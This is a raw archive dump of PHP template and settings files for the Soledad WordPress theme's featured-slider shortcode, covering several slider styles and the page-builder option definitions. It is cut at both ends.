                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\    7  inc/js_composer/shortcodes/featured_slider/style-30.phpnu [        <?php
/**
 * Template part for Slider Style 30
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-thumb';
$penci_is_mobile = penci_is_mobile();

$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! $disable_lazyload ) { ?>
            <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size,$post_thumb_msize ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } else { ?>
            <a class="penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } ?>

        <a href="<?php the_permalink() ?>" class="featured-slider-overlay"></a>
		<?php if ( ! $center_box ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
					<?php if ( ! $hide_categories ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\쥫:  :  7  inc/js_composer/shortcodes/featured_slider/style-15.phpnu [        <?php
/**
 * Template part for Slider Style 15
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-slider-thumb';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 3 == 2 ): $thumb = $bpost_thumb_size;
					$psize                 = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?> <?php echo( 2 == $i % 3 ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( $i % 3 == 2 || $show_cat ): ?>
									<?php if ( ! $hide_categories ): ?>
                                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
									<?php endif; ?>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => $cspost_enable,
											'keys'      => $cspost_cpost_meta,
											'acf'       => $cspost_cpost_acf_meta,
											'label'     => $cspost_cpost_meta_label,
											'divider'   => $cspost_cpost_meta_divider,
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\" ֛    7  inc/js_composer/shortcodes/featured_slider/style-27.phpnu [        <?php
/**
 * Template part for Slider Style 27
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 5 == 1 ): $thumb = $bpost_thumb_size;
					$psize                 = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>  <?php echo( ( $i % 5 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => $cspost_enable,
											'keys'      => $cspost_cpost_meta,
											'acf'       => $cspost_cpost_acf_meta,
											'label'     => $cspost_cpost_meta_label,
											'divider'   => $cspost_cpost_meta_divider,
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\8ɍ    6  inc/js_composer/shortcodes/featured_slider/style-9.phpnu [        <?php
/**
 * Template part for Slider Style 9
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-square';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$post_thumb_size,$post_thumb_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => $cspost_enable,
		                                    'keys'      => $cspost_cpost_meta,
		                                    'acf'       => $cspost_cpost_acf_meta,
		                                    'label' 	=> $cspost_cpost_meta_label,
		                                    'divider' 	=> $cspost_cpost_meta_divider,
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     N\D  D  7  inc/js_composer/shortcodes/featured_slider/settings.phpnu [        <?php
$group_color = 'Typo & Color';

$main_params = array(
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_gnr_settings',
		'heading'          => esc_html__( 'General Settings', 'soledad' ),
		'value'            => '',
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
	),
	array(
		'type'        => 'loop',
		'heading'     => '',
		'param_name'  => 'build_query',
		'value'       => 'post_type:post|size:10',
		'settings'    => array(
			'size'      => array( 'value' => 10, 'hidden' => false ),
			'post_type' => array( 'value' => 'post', 'hidden' => false )
		),
		'description' => __( 'Create WordPress loop, to populate content from your site.', 'soledad' ),
	),
	array(
		'type'       => 'dropdown',
		'heading'    => __( 'Choose style', 'soledad' ),
		'value'      => array(
			'Style 1'  => 'style-1',
			'Style 2'  => 'style-2',
			'Style 4'  => 'style-4',
			'Style 6'  => 'style-6',
			'Style 7'  => 'style-7',
			'Style 8'  => 'style-8',
			'Style 9'  => 'style-9',
			'Style 10' => 'style-10',
			'Style 11' => 'style-11',
			'Style 13' => 'style-13',
			'Style 15' => 'style-15',
			'Style 17' => 'style-17',
			'Style 19' => 'style-19',
			'Style 20' => 'style-20',
			'Style 21' => 'style-21',
			'Style 22' => 'style-22',
			'Style 23' => 'style-23',
			'Style 24' => 'style-24',
			'Style 25' => 'style-25',
			'Style 26' => 'style-26',
			'Style 27' => 'style-27',
			'Style 28' => 'style-28',
			'Style 29' => 'style-29',
			'Style 35' => 'style-35',
			'Style 37' => 'style-37',
			'Style 38' => 'style-38',
			'Style 39' => 'style-40',
			'Style 40' => 'style-41',
			'Style 41' => 'style-42',
			'Style 42' => 'style-44',
		),
		'param_name' => 'style',
	),
	array(
		'type'        => 'dropdown',
		'heading'     => __( 'Carousel Effect', 'soledad' ),
		'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
		'value'       => array(
			'Default ( Slide )' => 'default',
			'Swing'             => 'swing',
		),
		'param_name'  => 'carousel_slider_effect',
	),
	array(
		'type'        => 'dropdown',
		'heading'     => __( 'Slider Effect', 'soledad' ),
		'description' => __( 'Some sliders do not support all effects listed below. The Creative effect is functioning correctly on styles 1, 3, 29, 30, 35, and 36. Style 39 only supports the "Fade" effect.', 'soledad' ),
		'value'       => array(
			'Slide'     => 'slide',
			'Fade'      => 'fade',
			'Coverflow' => 'coverflow',
			'Flip'      => 'flip',
			'Cards'     => 'cards',
			'Creative'  => 'creative',
		),
		'param_name'  => 'single_slider_effect',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Disable Lazy Load Images on The Slider', 'soledad' ),
		'param_name' => 'disable_lazyload_slider',
		'value'      => 'no',
	),
	array(
		'type'        => 'penci_switch',
		'heading'     => esc_html__( 'Enable Flat Overlay Replace with Gradient Overlay', 'soledad' ),
		'param_name'  => 'enable_flat_overlay',
		'value'       => 'no',
		'description' => 'This option does not apply for Slider Styles 1, 2, 3, 4, 5, 29, 30, 35, 36, 37, 38',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Hide Center Box on Featured Slider', 'soledad' ),
		'param_name' => 'center_box',
		'value'      => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Hide Center Box', 'soledad' ),
		'param_name' => 'center_box',
		'value'      => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Hide Post Date', 'soledad' ),
		'param_name' => 'meta_date_hide',
		'value'      => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Hide Categories Of Post', 'soledad' ),
		'param_name' => 'hide_categories',
		'value'      => 'no',
	),
	array(
		'type'        => 'penci_switch',
		'heading'     => esc_html__( 'Display Categories for all Posts on Slider', 'soledad' ),
		'param_name'  => 'show_cat',
		'description' => 'By default, we disabled categories for some slider styles & some small posts - this option will help you show it if you want.',
		'value'       => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Hide Post Number Comments', 'soledad' ),
		'param_name' => 'hide_meta_comment',
		'value'      => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Show Post Author', 'soledad' ),
		'param_name' => 'show_meta_author',
		'value'      => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Hide Post Excerpt on Style 24 & 26', 'soledad' ),
		'param_name' => 'hide_meta_excerpt',

		'value' => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Hide Post Format Icons', 'soledad' ),
		'param_name' => 'hide_format_icons',
		'value'      => 'no',
	),
	array(
		'type'       => 'textfield',
		'heading'    => esc_html__( 'Post Title Length', 'soledad' ),
		'param_name' => 'title_length',
		'std'        => '12',
	),
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_slider_settings',
		'heading'          => esc_html__( 'Slider options', 'soledad' ),
		'value'            => '',
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Autoplay', 'soledad' ),
		'param_name' => 'autoplay',
		'value'      => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Slider Loop', 'soledad' ),
		'param_name' => 'loop',
		'value'      => 'no',
	),
	array(
		'type'       => 'textfield',
		'heading'    => esc_html__( 'Slider Auto Time (at x seconds)', 'soledad' ),
		'param_name' => 'auto_time',
		'std'        => 4000,
	),
	array(
		'type'       => 'textfield',
		'heading'    => esc_html__( 'Slider Speed (at x seconds)', 'soledad' ),
		'param_name' => 'speed',
		'std'        => 800,
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Show next/prev buttons', 'soledad' ),
		'param_name' => 'shownav',
		'value'      => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Show dots navigation', 'soledad' ),
		'param_name' => 'showdots',
		'value'      => 'no',
	),
);

$style_big_post = array(
	'style-6',
	'style-13',
	'style-15',
	'style-17',
	'style-18',
	'style-19',
	'style-20',
	'style-21',
	'style-22',
	'style-23',
	'style-24',
	'style-25',
	'style-26',
	'style-27',
	'style-28',
	'style-37'
);
$typo_params    = array(
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_style_img_settings',
		'heading'          => esc_html__( 'Image', 'soledad' ),
		'value'            => '',
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		'group'            => $group_color,
	),
	array(
		'type'       => 'dropdown',
		'heading'    => __( 'Image size', 'soledad' ),
		'param_name' => 'post_thumb_size',
		'std'        => '',
		'value'      => Penci_Vc_Helper::get_list_image_sizes( true ),
		'group'      => $group_color,
	),
	array(
		'type'       => 'dropdown',
		'heading'    => __( 'Image size for Big Post', 'soledad' ),
		'param_name' => 'bpost_thumb_size',
		'std'        => '',
		'value'      => Penci_Vc_Helper::get_list_image_sizes( true ),
		'dependency' => array( 'element' => 'style', 'value' => $style_big_post ),
		'group'      => $group_color,
	),
	array(
		'type'       => 'dropdown',
		'heading'    => __( 'Image size on Mobile', 'soledad' ),
		'param_name' => 'post_thumb_size_mobile',
		'std'        => '',
		'value'      => Penci_Vc_Helper::get_list_image_sizes( true ),
		'group'      => $group_color,
	),
	array(
		'type'        => 'textfield',
		'heading'     => esc_html__( 'Border Radius', 'soledad' ),
		'description' => 'You can use pixel or percent. E.g:  <strong>10px</strong>  or  <strong>10%</strong>',
		'param_name'  => 'img_border_radius',
		'std'         => '',
		'group'       => $group_color,
	),
	array(
		'type'        => 'textfield',
		'heading'     => esc_html__( 'Ratio Height/Width of Images', 'soledad' ),
		'description' => 'This option does not apply for <strong>Slider Styles 19 & 27</strong>. Unit is %. E.g: 50',
		'param_name'  => 'img_ratio',
		'std'         => '',
		'group'       => $group_color,
	),

	// Title
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_style_title_settings',
		'heading'          => esc_html__( 'Title', 'soledad' ),
		'value'            => '',
		'group'            => $group_color,
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
		'param_name'       => 'title_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
		'param_name'       => 'title_hcolor',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'penci_responsive_sizes',
		'param_name' => 'ptitle_fsize',
		'heading'    => __( 'Font size for Post title', 'soledad' ),
		'value'      => '',
		'std'        => '',
		'suffix'     => 'px',
		'min'        => 1,
		'group'      => $group_color,
	),
	array(
		'type'             => 'penci_responsive_sizes',
		'param_name'       => 'bptitle_fsize',
		'heading'          => __( 'Font Size for Post Title of Big Post', 'soledad' ),
		'value'            => '',
		'std'              => '',
		'suffix'           => 'px',
		'min'              => 1,
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
		'dependency'       => array( 'element' => 'style', 'value' => $style_big_post ),
	),
	array(
		'type'             => 'penci_switch',
		'heading'          => __( 'Custom Font Family for Post Title', 'soledad' ),
		'param_name'       => 'use_ptitle_typo',
		'value'            => 'no',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'google_fonts',
		'group'      => $group_color,
		'param_name' => 'ptitle_typo',
		'value'      => '',
		'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
	),

	// Category
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_style_cat_settings',
		'heading'          => esc_html__( 'Category', 'soledad' ),
		'value'            => '',
		'group'            => $group_color,
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
		'param_name'       => 'pcat_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
		'param_name'       => 'pcat_hcolor',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'penci_responsive_sizes',
		'param_name' => 'pcat_fsize',
		'heading'    => __( 'Font size for Post title', 'soledad' ),
		'value'      => '',
		'std'        => '',
		'suffix'     => 'px',
		'min'        => 1,
		'group'      => $group_color,
	),
	array(
		'type'             => 'penci_switch',
		'heading'          => __( 'Custom Font Family for Post Title', 'soledad' ),
		'param_name'       => 'use_pcat_typo',
		'value'            => 'no',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'google_fonts',
		'group'      => $group_color,
		'param_name' => 'pcat_typo',
		'value'      => '',
		'dependency' => array( 'element' => 'use_pcat_typo', 'value' => 'yes' ),
	),

	// Meta
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_style_pmeta_settings',
		'heading'          => esc_html__( 'Post Meta', 'soledad' ),
		'value'            => '',
		'group'            => $group_color,
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Meta Color', 'soledad' ),
		'param_name'       => 'pmeta_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Meta Hover Color', 'soledad' ),
		'param_name'       => 'pmeta_hcolor',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'penci_responsive_sizes',
		'param_name' => 'pmeta_fsize',
		'heading'    => __( 'Font size for Post Meta', 'soledad' ),
		'value'      => '',
		'std'        => '',
		'suffix'     => 'px',
		'min'        => 1,
		'group'      => $group_color,
	),
	array(
		'type'             => 'penci_switch',
		'heading'          => __( 'Custom Font Family for Post Meta', 'soledad' ),
		'param_name'       => 'use_pmeta_typo',
		'value'            => 'no',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'google_fonts',
		'group'      => $group_color,
		'param_name' => 'pmeta_typo',
		'value'      => '',
		'dependency' => array( 'element' => 'use_pcat_typo', 'value' => 'yes' ),
	),

	// Excerpt
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_style_pexcerpt_settings',
		'heading'          => esc_html__( 'Category', 'soledad' ),
		'value'            => '',
		'group'            => $group_color,
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Meta Color', 'soledad' ),
		'param_name'       => 'pexcerpt_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
